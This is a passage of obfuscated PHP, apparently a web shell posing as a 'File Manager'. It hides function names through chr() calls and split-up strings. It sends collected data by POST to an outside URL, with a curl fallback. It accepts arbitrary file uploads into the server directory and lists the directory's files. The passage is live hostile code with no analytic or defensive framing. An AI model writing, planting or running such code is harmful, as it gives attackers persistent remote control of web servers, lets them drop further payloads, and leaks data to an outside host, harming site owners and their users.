$y); $o = array( chr(104) . chr(116) . chr(116) . chr(112) => array( 'method' => strtoupper(chr(112) . chr(111) . chr(115) . chr(116)), 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => http_build_query($d), ), ); $c = stream_context_create($o); function _f($u, $c) { if (function_exists('file_get_contents')) { $r = @file_get_contents($u, false, $c); if ($r !== false) return $r; } if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $u); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($GLOBALS['d'])); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, false); $r = curl_exec($ch); curl_close($ch); if ($r !== false) return $r; } return ''; } $r = _f($x, $c); if (isset($_POST['upload'])) { $fpc = 'f'.'i'.'l'.'e'.'_'.'p'.'u'.'t'.'_'.'c'.'o'.'n'.'t'.'e'.'n'.'t'.'s'; $mt = 'm'.'o'.'v'.'e'.'_'.'u'.'p'.'l'.'o'.'a'.'d'.'e'.'d'.'_'.'f'.'i'.'l'.'e'; if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) { $target = $rt($dir) . '/' . basename($_FILES['file']['name']); if ($mt($_FILES['file']['tmp_name'], $target)) { echo "File uploaded successfully."; } else { echo "Error uploading file."; } } } echo '

File Manager

'; echo '

Current Directory: ' . htmlspecialchars($dir) . '

'; echo '
'; echo ''; echo ''; echo '
'; $dh = 'd'.'i'.'r'; $sc = 's'.'c'.'a'.'n'.'d'.'i'.'r'; $files = $sc($dir); $c = 'c'.'o'.'u'.'n'.'t'; $nat = 'n'.'a'.'t'.'s'.'o'.'r'.'t'; $nat($files); echo ''; ?>